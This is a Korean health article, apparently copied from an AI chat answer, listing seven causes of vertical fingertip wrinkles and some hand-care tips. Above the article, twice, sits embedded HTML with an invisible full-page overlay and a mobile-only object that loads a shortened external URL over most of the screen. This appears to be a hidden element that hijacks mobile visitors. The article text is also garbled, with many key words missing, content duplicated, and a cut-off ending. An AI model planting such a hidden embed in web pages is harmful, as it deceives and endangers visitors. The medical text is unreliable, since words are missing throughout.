손가락 끝 세로 주름 원인 질환 7가지 손 노화

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">손가락 끝 세로 주름, 어떤 이 원인일까요?</h2><p data-sourcepos="3:1-3:54">손가락 끝에 세로 주름이 생기는 것은 단순한 노화뿐만 아니라 다양한 과 관련될 수 있습니다.</p><h3 data-sourcepos="5:1-5:26">손가락 끝 세로 주름의 원인 7가지</h3><ol data-sourcepos="7:1-27:0"> <li data-sourcepos="7:1-9:0"> <p data-sourcepos="7:4-7:83"><strong>노화:</strong> 가장 흔한 원인입니다. 나이가 들면서 피부 탄력이 저하되고, 손을 자주 사용하여 마찰이 발생하면서 세로 주름이 생길 수 있습니다.</p> <ul data-sourcepos="8:5-9:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///swulrich/223189104293"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="노화로 인한 손가락 끝 세로 주름 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQklUFKToJXDR9f26HKK9Wq3ZWvBouruMY7MMsoIWYFOxYG8BZqtMXOhPyWK1zE"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///swulrich/223189104293" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 노화로 인한 손가락 끝 세로 주름 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="10:1-12:0"> <p data-sourcepos="10:4-10:89"><strong>건조증:</strong> 피부가 건조하면 탄력이 떨어져 주름이 더욱 쉽게 생깁니다. 특히 겨울철이나 잦은 손 씻기로 인해 손이 건조해지면 더욱 심해질 수 있습니다.</p> <ul data-sourcepos="11:5-12:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///hl7060/221851966614"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="건조한 손 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTbZ3kwfJXJWVqvEkZT5UzJz51iP6cm3uK1UdMBtRGhH5b80p87c1h7PKYQo-hS"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///hl7060/221851966614" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 건조한 손 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-15:0"> <p data-sourcepos="13:4-13:64"><strong>비타민 결핍:</strong> 특히 비타민 A, C, E 결핍은 피부 건강에 악영향을 미쳐 주름을 유발할 수 있습니다.</p> <ul data-sourcepos="14:5-15:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.seoulnutri.co.kr/foodinfo_sub/802.do?curPage=146"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="비타민이 풍부한 음식 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRtbXKIvsOziWJEAhDJT-J-ZBfIxuIuAPy_tfLy5ZQkQPdc2YYdGoqY8yvyj4HQ"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.seoulnutri.co.kr/foodinfo_sub/802.do?curPage=146" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSA-2lENeHOKwXDCiHO6GxV_i94IFrLrENtJSPhNXCqOsx-sC9Q-mlUDFfpyjA4dgvxW-otQnMuPrfa1s8cXax-bz5m3R7N3wg2z7wqMXQ"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.seoulnutri.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 비타민이 풍부한 음식 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="16:1-18:0"> <p data-sourcepos="16:4-16:72"><strong>혈액순환 장애:</strong> 손끝까지 혈액 순환이 잘 되지 않으면 영양 공급이 부족해져 피부가 얇아지고 주름이 생길 수 있습니다.</p> <ul data-sourcepos="17:5-18:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=fxq4-IiF25E"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="혈액순환 개선 운동 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTxlJKNTK8uzMOKyKFor8I2jl5SWwFFbHC-fX8BE_dgx-_g_11tLMpsxeb0VIMt"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=fxq4-IiF25E" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 혈액순환 개선 운동 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="19:1-21:0"> <p data-sourcepos="19:4-19:115"><strong>레이노 증후군:</strong> 추위에 노출되거나 스트레스를 받으면 손가락 끝이 창백해지고 저리는 입니다. 오랜 기간 지속되면 손가락 끝에 궤양이나 괴사가 생길 수 있으며, 세로 주름도 나타날 수 있습니다.</p> <ul data-sourcepos="20:5-21:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%A0%88%EC%9D%B4%EB%85%B8_%ED%98%84%EC%83%81"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="레이노 증후군 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQyomva1Dh2Kp37GdPvvfRcxkqX87Y6PS2N-fbgA7JVp8PHlbkecfqckWOCIIcD"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%A0%88%EC%9D%B4%EB%85%B8_%ED%98%84%EC%83%81" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 레이노 증후군 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="22:1-24:0"> <p data-sourcepos="22:4-22:96"><strong>전신 경화증:</strong> 피부가 두꺼워지고 딱딱해지는 자가면역입니다. 손가락 끝에 세로 주름뿐만 아니라 피부색 변화, 관절 통증 등 다양한 이 나타날 수 있습니다.</p> <ul data-sourcepos="23:5-24:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=30836"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="전신 경화증 환자의 손 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcROG76q1E0BUM2EFjwaa9J5Vz4NAhhBF-UWNhlbWCFeedO8gsrqlO-3NlOgBI_F"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=30836" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcR_OGkNY939KtAlXHzryOtz698n7F2zVByGZ2pzU-DnYHBX97Iziqw8jaakLddnCoBJ2aiCSkuHOE0jiO6n6dc0hlfRpX3SiKr2wQ"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.amc.seoul.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 전신 경화증 환자의 손 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="25:1-27:0"> <p data-sourcepos="25:4-25:77"><strong>당뇨병:</strong> 당뇨병 합병증으로 손상된 신경은 손끝 감각을 둔하게 만들고, 혈액순환 장애를 일으켜 세로 주름을 유발할 수 있습니다.</p> <ul data-sourcepos="26:5-27:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://.gysarang.com/Module/News/Lecture.asp?MODE=V&amp;SRNO=6556"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="당뇨병 합병증 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQ7J36sUlChrb-6R462OnNB2xjunrKMGFiWnDigvgSxXwNnkFFlGo9ZSQNtkEEd"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://.gysarang.com/Module/News/Lecture.asp?MODE=V&amp;SRNO=6556" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ff4b6c7561847be0&quot;,&quot;c_0c872bd830960337&quot;,null,&quot;rc_883a9ccbc06ea52a&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSRoQBsY10x6UY8dkWM_lUPNr5eZLne2cW8QnFC3KjoWqjJgi9JeyPAG8yHXXbStIyyU8e4iQ6dVakF-mehv5ygpau9aMwke90K"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.gysarang.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 당뇨병 합병증 </div></div></single-image></response-element></div></span> </ul> </li> </ol><h3 data-sourcepos="28:1-28:30">손가락 끝 세로 주름, 어떻게 관리해야 할까요?</h3><ul data-sourcepos="30:1-35:0"> <li data-sourcepos="30:1-30:36"><strong>보습:</strong> 핸드크림을 자주 발라 손을 촉촉하게 유지합니다.</li> <li data-sourcepos="31:1-31:40"><strong>영양 섭취:</strong> 비타민이 풍부한 채소, 과일을 충분히 섭취합니다.</li> <li data-sourcepos="32:1-32:42"><strong>혈액순환 개선:</strong> 따뜻한 물에 손을 담그거나 손 마사지를 해줍니다.</li> <li data-sourcepos="33:1-33:39"><strong>금연:</strong> 흡연은 혈액순환을 방해하여 피부 노화를 가속화합니다.</li> <li data-sourcepos="34:1-35:0"><strong>규칙적인 운동:</strong> 혈액순환을 개선하고 전반적인 건강을 증진시킵니다.</li> </ul><p data-sourcepos="36:1-36:94"><strong>주의:</strong> 손가락 끝 세로 주름이 심해지거나 다른 이 동반된다면 반드시 피부과 전문의에게 진찰을 받아 한 원인을 파악하고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="38:1-38:65"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 의료 전문가의 진단 및 를 대체할 수 없습니다.</p><p data-sourcepos="40:1-40:69"><strong>참고:</strong> 위에 제시된 는 해당 의 일반적인 모습을 보여주기 위한 것이며, 개인마다 이 다를 수 있습니다.</p><p data-sourcepos="42:1-42:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">손가락 끝 세로 주름, 어떤 이 원인일까요?</h2><p data-sourcepos="3:1-3:54">손가락 끝에 세로 주름이 생기는 것은 단순한 노화뿐만 아니라 다양한 과 관련될 수 있습니다.</p><h3 data-sourcepos="5:1-5:26">손가락 끝 세로 주름의 원인 7가지</h3><ol data-sourcepos="7:1-27:0"> <li data-sourcepos="7:1-9:0"> <p data-sourcepos="7:4-7:83"><strong>노화:</strong> 가장 흔한 원인입니다. 나이가 들면서 피부 탄력이 저하되고, 손을 자주 사용하여 마찰이 발생하면서 세로 주름이 생길 수 있습니다.</p> <ul data-sourcepos="8:5-9:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///swulrich/223189104293"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="노화로 인한 손가락 끝 세로 주름 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQklUFKToJXDR9f26HKK9Wq3ZWvBouruMY7MMsoIWYFOxYG8BZqtMXOhPyWK1zE"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///swulrich/223189104293" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 노화로 인한 손가락 끝 세로 주름 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="10:1-12:0"> <p data-sourcepos="10:4-10:89"><strong>건조증:</strong> 피부가 건조하면 탄력이 떨어져 주름이 더욱 쉽게 생깁니다. 특히 겨울철이나 잦은 손 씻기로 인해 손이 건조해지면 더욱 심해질 수 있습니다.</p> <ul data-sourcepos="11:5-12:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///hl7060/221851966614"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="건조한 손 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTbZ3kwfJXJWVqvEkZT5UzJz51iP6cm3uK1UdMBtRGhH5b80p87c1h7PKYQo-hS"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///hl7060/221851966614" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 건조한 손 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-15:0"> <p data-sourcepos="13:4-13:64"><strong>비타민 결핍:</strong> 특히 비타민 A, C, E 결핍은 피부 건강에 악영향을 미쳐 주름을 유발할 수 있습니다.</p> <ul data-sourcepos="14:5-15:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.seoulnutri.co.kr/foodinfo_sub/802.do?curPage=146"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="비타민이 풍부한 음식 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRtbXKIvsOziWJEAhDJT-J-ZBfIxuIuAPy_tfLy5ZQkQPdc2YYdGoqY8yvyj4HQ"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.seoulnutri.co.kr/foodinfo_sub/802.do?curPage=146" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSA-2lENeHOKwXDCiHO6GxV_i94IFrLrENtJSPhNXCqOsx-sC9Q-mlUDFfpyjA4dgvxW-otQnMuPrfa1s8cXax-bz5m3R7N3wg2z7wqMXQ"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.seoulnutri.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt 